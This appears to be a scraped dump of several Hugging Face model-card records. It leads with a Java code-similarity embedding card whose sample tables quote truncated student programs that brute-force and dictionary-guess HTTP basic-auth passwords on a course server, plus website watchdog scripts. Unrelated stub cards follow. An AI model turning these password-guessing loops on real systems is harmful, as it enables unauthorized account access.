| <code>import java.util.*;<br>import java.io.*;<br><br><br><br>public class WatchDog {<br><br> public WatchDog() {<br><br> }<br> public static void main(String args[]) {<br> DataInputStream newin;<br><br> try{<br><br><br> System.out.println("Downloading first copy");<br> Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");<br> String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};<br> String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};<br> while(true){<br> Thread.sleep(24*60*60*1000);<br> System.out.println("Downloading new copy");<br> Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");<br> Thread.sleep(2000);<br> Runtime.getRuntime().exec(cmdDiff);<br> Thread.sleep(2000);<br> newin = new DataInputStream( new FileInputStream( "Diff.txt"));<br> if (newin.readLine() != null){<br> System.out.println("Sending Mail");<br> ...</code> | <code>import java.util.*;<br>import java.io.*;<br>import javax.swing.text.html.*;<br><br><br>public class WatchDog {<br><br> public WatchDog() {<br><br> }<br> public static void main (String args[]) {<br> DataInputStream newin;<br><br> try{<br> System.out.println("ishti");<br><br> System.out.println("Downloading first copy");<br> Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O oldfile.html");<br> String[] cmdDiff = {"//sh", "-c", "diff oldfile.html newfile.html > Diff.txt"};<br> String[] cmdMail = {"//sh", "-c", "mailx -s \"Diffrence\" \"@cs.rmit.edu.\" < Diff.txt"};<br> while(true){<br> Thread.sleep(24*60*60*1000);<br> System.out.println("Downloading new copy");<br> Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students/ -O newfile.html");<br> Thread.sleep(2000);<br> Runtime.getRuntime().exec(cmdDiff);<br> Thread.sleep(2000);<br> newin = new DataInputStream( new FileInputStream( "Diff.txt"));<br> if (newin.readLine() ...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce{<br><br> private static URL location;<br> private static String user;<br> private BufferedReader input;<br> private char [] password = {'A', 'A', 'A'};<br> private int noLetters = 3;<br><br> <br><br> public BruteForce() {<br> <br> Authenticator.setDefault(new MyAuthenticator ());<br><br> startTime = System.currentTimeMillis();<br> boolean passwordMatched = false;<br> while (!passwordMatched) {<br> try {<br> input = new BufferedReader(new InputStreamReader(location.openStream()));<br> String line = input.readLine();<br> while (line != null) {<br> System.out.println(line);<br> line = input.readLine();<br> }<br> input.close();<br> passwordMatched = true;<br> }<br> catch (ProtocolException e)<br> {<br> <br> <br> }<br> catch (ConnectException e) {<br> System.out.println("Failed connect");<br> }<br> catch (IOException e)...</code> |
| <code>import java.util.*;<br>import java.net.*;<br>import java.io.*;<br><br>public class BruteForce<br>{<br> boolean connected = false;<br> int counter;<br> String[] chars = {"a","b","c","d","e","f","g","h",<br> "i","j","k","l","m","n","o","p",<br> "q","r","s","t","u","v","w","x",<br> "y","z","A","B","C","D","E","F",<br> "G","H","I","J","K","L","M","N",<br> "O","P","Q","R","S","T","U","V",<br> "W","X","Y","Z"};<br> Vector combinations = new Vector();<br> <br> BruteForce()<br> {<br> counter = 0;<br> this.genCombinations();<br> this.startAttack();<br> } <br> <br> public void startAttack()<br> {<br> while(counter<this.combinations.size())<br> {<br> connected = sendRequest();<br> if(connected == true)<br> {<br> System.out.print("The password is: ");<br> System.out.println((String)combinations.elementAt(counter-1));<br> counter = combinations.size(...</code> | <code>import java.util.*;<br>import java.net.*;<br>import java.io.*; <br><br>public class Dictionary<br>{<br> boolean connected = false;<br> int counter;<br> <br> Vector words = new Vector();<br> <br> Dictionary()<br> {<br> counter = 0;<br> this.readWords(); <br> this.startAttack();<br> } <br> <br> public void startAttack()<br> {<br> while(counter<this.words.size())<br> {<br> connected = sendRequest();<br> if(connected == true)<br> {<br> System.out.print("The password is: ");<br> System.out.println((String)words.elementAt(counter-1));<br> counter = words.size();<br> }<br> }<br> }<br> <br><br> public void readWords()<br> {<br> String line;<br><br> try<br> {<br> BufferedReader buffer = new BufferedReader(<br> new FileReader("/usr/share/lib/dict/words"));<br> <br> line = buffer.readLine();<br><br> while(line != null)<br> {<br><br> if(line.length() <= 3)<br> ...</code> | <code>import java.net.*;<br>import java.io.*;<br><br>public class BruteForce<br>{<br> public BruteForce(String u,String uname) throws Exception<br> {<br> String pass="";<br> try<br> {<br> String []chr={"a","b","c","d","e","f","g","h","i","j",<br> "k","l","m","n","o","p","q","r","s","t",<br> "u","v","w","x","y","z","A","B","C","D",<br> "E","F","G","H","I","J","K","L","M","N",<br> "O","P","Q","R","S","T","U","V","W","X","Y","Z"};<br> URL url=new URL(u);<br> PasswordAuthentication pa;<br> MyAuthenticator =new MyAuthenticator();<br> HttpURLConnection h;<br> int c=0;<br> for(int i=1;i<=52;i++)<br> {<br> c++;<br> pass=""+chr[i-1];<br> pa=new PasswordAuthentication(uname,pass.toCharArray());<br> h.setPasswordAuthentication(pa);<br> Authenticator.setDefault();<br> h=(HttpURLConnection)url.openConnection();<br> h.setRequestProperty("user-pass",URLEncoder.encode(":"+pass));<br>System.out.println("Try :"+chr(c)+" password:("+pass+") response message: ("+h.getResponseMessage()+")");<br> if(h.getResponseCode() != 401)<br> throw...</code> |
| <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br>import java.Runtime.*;<br>import java.Object.*;<br>import java.util.*;<br>import java.util.StringTokenizer;<br><br><br>public class ReadFile<br>{<br> private StringTokenizer tokenizer;<br> private BufferedReader bf;<br> private String line;<br> private String first;<br> Vector in = new Vector();<br> <br> public void loadFile()throws NoSuchElementException, IOException<br> {<br> System.out.println("in loadFile");<br> try{<br> bf = new BufferedReader(new FileReader("words"));<br> }<br> catch(FileNotFoundException fe){}<br> catch(IOException io){}<br> while((line = bf.readLine())!=null)<br> {<br><br> int index = 0;<br> tokenizer = new StringTokenizer(line);<br> try<br> {<br> first = tokenizer.nextToken();<br> <br> <br> if (first.length() == 3)<br> {<br> in.add(first);<br> }<br> }<br> catch(NoSuchElementException n)<br> {<br> System.out.println("File Loaded Succesfully");<br><br> }<br><br> }<br> }<br> public Vector getVector()<br> {<br> return in;<br>...</code> | <code>import java.net.*;<br>import java.io.*;<br>import java.*;<br>import java.Runtime.*;<br>import java.Object.*;<br>import java.util.*;<br>import java.util.StringTokenizer;<br><br>public class makePasswords<br>{<br> public String [ ] alphabet1 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",<br> "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",<br> "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m",<br> "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};<br> <br> public String [ ] alphabet2 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",<br> "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",<br> "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};<br> <br> public String [ ] alphabet3 = {"A", "B", "C", "D", "E", "F", "G", "H", "I",<br> "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X",<br> "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", ...</code> | <code>package java.httputils;<br><br>import java.io.BufferedInputStream;<br>import java.io.BufferedOutputStream;<br>import java.io.BufferedReader;<br>import java.io.FileInputStream;<br>import java.io.FileNotFoundException;<br>import java.io.FileOutputStream;<br>import java.io.FileReader;<br>import java.io.IOException;<br>import java.io.OutputStream;<br><br><br>public class WatchDog<br>{<br> protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);<br> protected int interval = 24;<br> protected String URL = "http://www.cs.rmit.edu./students/";<br> protected String fileName = "WatchDogContent.html";<br> protected String command = "./alert_mail.sh";<br> protected String savedContent;<br> protected String retrievedContent;<br><br> <br> public WatchDog()<br> {<br> super();<br> }<br><br> <br> public void run() throws Exception<br> {<br> HttpRequestClient client = null;<br> <br> <br> System.out.println(getClass().getName() +<br> "Retrieving baseline copy of: " + getURL());<br> client = new HttpRequestClie...</code> |
* Loss: [<code>CachedMultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#cachedmultiplenegativesrankingloss) with these parameters:
```json
{
"scale": 20.0,
"similarity_fct": "cos_sim",
"mini_batch_size": 32,
"gather_across_devices": false
}
```
### Evaluation Dataset
#### soco_train_java
* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 8,592 evaluation samples
* Columns: <code>anchor_code</code>, <code>positive_code</code>, and <code>negative_code</code>
* Approximate statistics based on the first 1000 samples:
| | anchor_code | positive_code | negative_code |
|:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
| type | string | string | string |
| details | <ul><li>min: 51 tokens</li><li>mean: 465.22 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 464.66 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 458.05 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
| anchor_code | positive_code | negative_code |
|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <code><br><br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class WatchDog<br>{ <br><br> public static void main(String args[])<br> {<br><br> Runtime rt1 = Runtime.getRuntime();<br> Process prss1= null;<br><br> try<br> {<br> prss1 = rt1.exec("wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/");<br> }catch(java.io.IOException e){}<br><br> MyWatchDogTimer w = new MyWatchDogTimer();<br> Timer time = new Timer();<br> time.schedule(w,864000000,864000000);<br><br> <br> }<br>}<br></code> | <code> <br><br><br><br><br>import java.util.*;<br>import java.io.*;<br><br>public class MyTimer<br>{ <br><br> public static void main(String args[])<br> {<br> Watchdog watch = new Watchdog();<br> Timer time = new Timer();<br> time.schedule(watch,864000000,864000000);<br> <br> <br> }<br>}<br></code> | <code>import java.net.*; <br>import java.io.*; <br>import java.util.Vector;<br>import java.util.Date;<br>import java.security.*;<br><br><br><br><br><br><br><br><br><br><br><br> <br>public class Dictionary { <br> public static BufferedReader in;<br> <br> <br> public static void main(String[] args) throws Exception { <br> String baseURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; <br> int count=0;<br> Date date = new Date();<br> startTime=date.getTime();<br> int LIMITINMINUTES=45;<br> int TIMELIMIT=LIMITINMINUTES*1000*60;<br> boolean timedOut=false;<br> boolean found=false;<br> <br> <br> Vector dictionary=new Vector(readWords());<br> System.out.println("Words in dictionary: "+dictionary.size());<br> <br> <br> <br> <br> <br> <br> <br> while (found==false && timedOut==false && dictionary.elementAt(count)!=null) {<br> <br> Date endDate = new Date();<br> endTime=endDate.getTime(); <br> if (endTime>(TIMELIMIT+startTime)){<br> System.out.println("Timed out");<br> timedOut=true;<br> }<br> <br> String password = "";<br><br> ...</code> |
| <code><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br><br><br>public class MailsendPropertyHelper {<br><br> private static Properties testProps;<br><br> public MailsendPropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the watchddog Props");<br> e.printStackTrace();<br> }<br> return testProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(testProps == null){<br> testProps = new Properties();<br><br> InputStream fis =<br> MailsendPropertyHelper.class.getResourceAsStream("/mailsend.properties");<br> testProps.load(fis);<br> }<br> }<br>}<br><br><br><br><br><br></code> | <code><br><br><br><br>import java.io.InputStream;<br>import java.util.Properties;<br><br>import javax.naming.Context;<br>import javax.naming.InitialContext;<br>import javax.rmi.PortableRemoteObject;<br>import javax.sql.DataSource;<br><br><br><br><br>public class BruteForcePropertyHelper {<br><br> private static Properties bruteForceProps;<br><br><br><br> public BruteForcePropertyHelper() {<br> }<br><br><br> <br><br> public static String getProperty(String pKey){<br> try{<br> initProps();<br> }<br> catch(Exception e){<br> System.err.println("Error init'ing the burteforce Props");<br> e.printStackTrace();<br> }<br> return bruteForceProps.getProperty(pKey);<br> }<br><br><br> private static void initProps() throws Exception{<br> if(bruteForceProps == null){<br> bruteForceProps = new Properties();<br><br> InputStream fis =<br> BruteForcePropertyHelper.class.getResourceAsStream("/bruteforce.properties");<br> bruteForceProps.load(fis);<br> }<br> }<br>}<br><br></code> | <code><br>import java.net.*;<br>import java.io.*;<br>import java.Ostermiller.util.*;<br>import java.util.*;<br><br>public class MyClient2 implements Runnable<br>{<br> private String hostname;<br> private int port;<br> private String filename;<br> private Socket s;<br> private int n;<br> private InputStream sin;<br> private OutputStream sout;<br> private int dif;<br> private String myPassword;<br> private int status;<br> private int myTime;<br> private BruteForce myMaster;<br> <br><br> public MyClient2(BruteForce bf , int num, int myPort, String password)<br> {<br> <br> hostname = new String("sec-crack.cs.rmit.edu.");<br> port = myPort;<br> status = 0;<br> myTime = 0;<br> myPassword = password;<br> filename = new String("/SEC/2/");<br> myMaster = 0;<br> n = num;<br> dif = 0;<br> <br> }<br> public getDif()<br> {<br> return dif;<br> }<br> public int getStatus()<br> {<br> return status;<br> }<br> public void run() <br> {<br> String inputLine;<br> String[] tokens = new String[5];<br> int i;<br> myTime = 0;<br> ...</code> |
| <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class Dictionary<br>{<br> public static void main (String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> String password="";<br> int requests=0;<br><br> try<br> {<br> <br> FileReader fRead = new FileReader("/usr/share/lib/dict/words");<br> BufferedReader buf = new BufferedReader(fRead);<br><br> password=buf.readLine();<br><br> while (password != null)<br> {<br> <br> if (password.length()<=3)<br> {<br> requests++;<br> if (testPassword(password, startTime, requests))<br> return password;<br> }<br><br> password = buf.readLine();<br><br> }<br> }<br> catch (IOException ioe)<br> {<br><br> }<br><br> return password;<br> }<br><br> private static boolean testPassword(String password, double startTime, int requests)<br> {<br> try<br> {<br> <br> <br> U...</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br>public class BruteForce<br>{<br><br> public static void main(String args[])<br> {<br> <br> <br> Calendar cal = Calendar.getInstance();<br> Date now=cal.getTime();<br> double startTime = now.getTime();<br><br> String password=getPassword(startTime);<br> System.out.println("The password is " + password);<br> }<br><br> public static String getPassword(double startTime)<br> {<br> char first, second, third;<br> String password="";<br> int requests=0;<br><br> <br> for (int i=65; i<123; i++)<br> {<br> requests++;<br> first = (char) i;<br><br> password = first + "";<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int j=65; j<123; j++)<br> {<br> requests++;<br> second = (char) j;<br><br> password = first + "" + second;<br><br> <br> if (testPassword(password, startTime, requests))<br> return password;<br><br> for (int k=65; k<123; k++)<br> {<br> requests++;<br> third = (char) k;<br><br> password = first + "" + second + "" + third;<br><br> <br> if (test...</code> | <code><br><br>import java.misc.BASE64Encoder;<br>import java.misc.BASE64Decoder;<br>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br><br><br>public class Dictionary {<br> <br> public Dictionary(String url, String dictionaryFile) {<br> try{<br> this.url = url;<br> this.dictionaryPath = dictionaryFile;<br> InputStream fis = new FileInputStream(this.dictionaryPath);<br> dict = new BufferedReader(new InputStreamReader(fis));<br><br> }catch(IOException ioe){<br> System.out.println("Error opening dictionary file:\n" +ioe);<br> }<br> }<br><br><br> <br> private String url = null;<br> <br> private String dictionaryPath = null;<br> <br> private BufferedReader dict = null;<br> <br> private int attempts = 0;<br> <br> private int passwordSize = 3;<br> <br> public void setPasswordSize(int size){<br> this.passwordSize = size;<br> }<br> <br> public String getNextPassword()throws IOException{<br><br> String line = dict.readLine();<br><br> while(line!=null&&line.length()!=this.passwordSize )<br> line = dict.readLine();<br><br> return line;<br> }<br> <br> publ...</code> |
* Loss: [<code>CachedMultipleNegativesRankingLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#cachedmultiplenegativesrankingloss) with these parameters:
```json
{
"scale": 20.0,
"similarity_fct": "cos_sim",
"mini_batch_size": 32,
"gather_across_devices": false
}
```
### Training Hyperparameters
#### Non-Default Hyperparameters
- `per_device_train_batch_size`: 16
- `num_train_epochs`: 1
- `warmup_ratio`: 0.1
- `fp16`: True
- `batch_sampler`: no_duplicates
#### All Hyperparameters
<details><summary>Click to expand</summary>
- `overwrite_output_dir`: False
- `do_predict`: False
- `eval_strategy`: no
- `prediction_loss_only`: True
- `per_device_train_batch_size`: 16
- `per_device_eval_batch_size`: 8
- `per_gpu_train_batch_size`: None
- `per_gpu_eval_batch_size`: None
- `gradient_accumulation_steps`: 1
- `eval_accumulation_steps`: None
- `torch_empty_cache_steps`: None
- `learning_rate`: 5e-05
- `weight_decay`: 0.0
- `adam_beta1`: 0.9
- `adam_beta2`: 0.999
- `adam_epsilon`: 1e-08
- `max_grad_norm`: 1.0
- `num_train_epochs`: 1
- `max_steps`: -1
- `lr_scheduler_type`: linear
- `lr_scheduler_kwargs`: {}
- `warmup_ratio`: 0.1
- `warmup_steps`: 0
- `log_level`: passive
- `log_level_replica`: warning
- `log_on_each_node`: True
- `logging_nan_inf_filter`: True
- `save_safetensors`: True
- `save_on_each_node`: False
- `save_only_model`: False
- `restore_callback_states_from_checkpoint`: False
- `no_cuda`: False
- `use_cpu`: False
- `use_mps_device`: False
- `seed`: 42
- `data_seed`: None
- `jit_mode_eval`: False
- `use_ipex`: False
- `bf16`: False
- `fp16`: True
- `fp16_opt_level`: O1
- `half_precision_backend`: auto
- `bf16_full_eval`: False
- `fp16_full_eval`: False
- `tf32`: None
- `local_rank`: 0
- `ddp_backend`: None
- `tpu_num_cores`: None
- `tpu_metrics_debug`: False
- `debug`: []
- `dataloader_drop_last`: False
- `dataloader_num_workers`: 0
- `dataloader_prefetch_factor`: None
- `past_index`: -1
- `disable_tqdm`: False
- `remove_unused_columns`: True
- `label_names`: None
- `load_best_model_at_end`: False
- `ignore_data_skip`: False
- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `parallelism_config`: None
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch_fused
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `hub_revision`: None
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`:
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `liger_kernel_config`: None
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: no_duplicates
- `multi_dataset_batch_sampler`: proportional
- `router_mapping`: {}
- `learning_rate_mapping`: {}
</details>
### Training Logs
| Epoch | Step | Training Loss |
|:------:|:----:|:-------------:|
| 0.0466 | 100 | 0.9559 |
| 0.0931 | 200 | 0.3877 |
| 0.1397 | 300 | 0.386 |
| 0.1862 | 400 | 0.3535 |
| 0.2328 | 500 | 0.3314 |
| 0.2793 | 600 | 0.3485 |
| 0.3259 | 700 | 0.3315 |
| 0.3724 | 800 | 0.3425 |
| 0.4190 | 900 | 0.3402 |
| 0.4655 | 1000 | 0.3406 |
| 0.5121 | 1100 | 0.3271 |
| 0.5587 | 1200 | 0.3356 |
| 0.6052 | 1300 | 0.3164 |
| 0.6518 | 1400 | 0.3122 |
| 0.6983 | 1500 | 0.3119 |
| 0.7449 | 1600 | 0.3124 |
| 0.7914 | 1700 | 0.3 |
| 0.8380 | 1800 | 0.2786 |
| 0.8845 | 1900 | 0.3148 |
| 0.9311 | 2000 | 0.283 |
| 0.9777 | 2100 | 0.297 |
### Framework Versions
- Python: 3.11.11
- Sentence Transformers: 5.1.1
- Transformers: 4.56.2
- PyTorch: 2.8.0.dev20250319+cu128
- Accelerate: 1.10.1
- Datasets: 4.1.1
- Tokenizers: 0.22.1
## Citation
### BibTeX
#### Sentence Transformers
```bibtex
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
```
#### CachedMultipleNegativesRankingLoss
```bibtex
@misc{gao2021scaling,
title={Scaling Deep Contrastive Learning Batch Size under Memory Limited Setup},
author={Luyu Gao and Yunyi Zhang and Jiawei Han and Jamie Callan},
year={2021},
eprint={2101.06983},
archivePrefix={arXiv},
primaryClass={cs.LG}
}
```
<!--
## Glossary
*Clearly define terms in order to be accessible across audiences.*
-->
<!--
## Model Card Authors
*Lists the people who create the model card, providing recognition and accountability for the detailed work that goes into its construction.*
-->
<!--
## Model Card Contact
*Provides a way for people who have updates to the Model Card, suggestions, or questions, to contact the Model Card authors.*
-->
|
emilyseong/pmc_attnpool_spi2e-5_proj2e-5_llm2e-5
|
emilyseong
| 2025-09-23T16:37:26Z | 0 | 0 |
peft
|
[
"peft",
"safetensors",
"llava_llama",
"arxiv:1910.09700",
"base_model:microsoft/llava-med-v1.5-mistral-7b",
"base_model:adapter:microsoft/llava-med-v1.5-mistral-7b",
"region:us"
] | null | 2025-09-23T16:27:18Z |
---
base_model: microsoft/llava-med-v1.5-mistral-7b
library_name: peft
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
### Framework versions
- PEFT 0.13.2
|
lcsontos/q-Taxi-v3
|
lcsontos
| 2025-09-23T16:37:25Z | 0 | 0 | null |
[
"Taxi-v3",
"q-learning",
"reinforcement-learning",
"custom-implementation",
"model-index",
"region:us"
] |
reinforcement-learning
| 2025-09-23T16:37:21Z |
---
tags:
- Taxi-v3
- q-learning
- reinforcement-learning
- custom-implementation
model-index:
- name: q-Taxi-v3
results:
- task:
type: reinforcement-learning
name: reinforcement-learning
dataset:
name: Taxi-v3
type: Taxi-v3
metrics:
- type: mean_reward
value: 7.42 +/- 2.75
name: mean_reward
verified: false
---
# **Q-Learning** Agent playing1 **Taxi-v3**
This is a trained model of a **Q-Learning** agent playing **Taxi-v3** .
## Usage
```python
model = load_from_hub(repo_id="lcsontos/q-Taxi-v3", filename="q-learning.pkl")
# Don't forget to check if you need to add additional attributes (is_slippery=False etc)
env = gym.make(model["env_id"])
```
|
thefirstgoku/23SEP_inter_v32_8
|
thefirstgoku
| 2025-09-23T16:31:57Z | 0 | 0 | null |
[
"safetensors",
"any-to-any",
"omega",
"omegalabs",
"bittensor",
"agi",
"license:mit",
"region:us"
] |
any-to-any
| 2025-09-23T16:31:18Z |
---
license: mit
tags:
- any-to-any
- omega
- omegalabs
- bittensor
- agi
---
This is an Any-to-Any model checkpoint for the OMEGA Labs x Bittensor Any-to-Any subnet.
Check out the [git repo](https://github.com/omegalabsinc/omegalabs-anytoany-bittensor) and find OMEGA on X: [@omegalabsai](https://x.com/omegalabsai).
|
kundi66/blockassist
|
kundi66
| 2025-09-23T16:31:06Z | 0 | 0 | null |
[
"gensyn",
"blockassist",
"gensyn-blockassist",
"minecraft",
"camouflaged alert alpaca",
"arxiv:2504.07091",
"region:us"
] | null | 2025-09-23T16:26:02Z |
---
tags:
- gensyn
- blockassist
- gensyn-blockassist
- minecraft
- camouflaged alert alpaca
---
# Gensyn BlockAssist
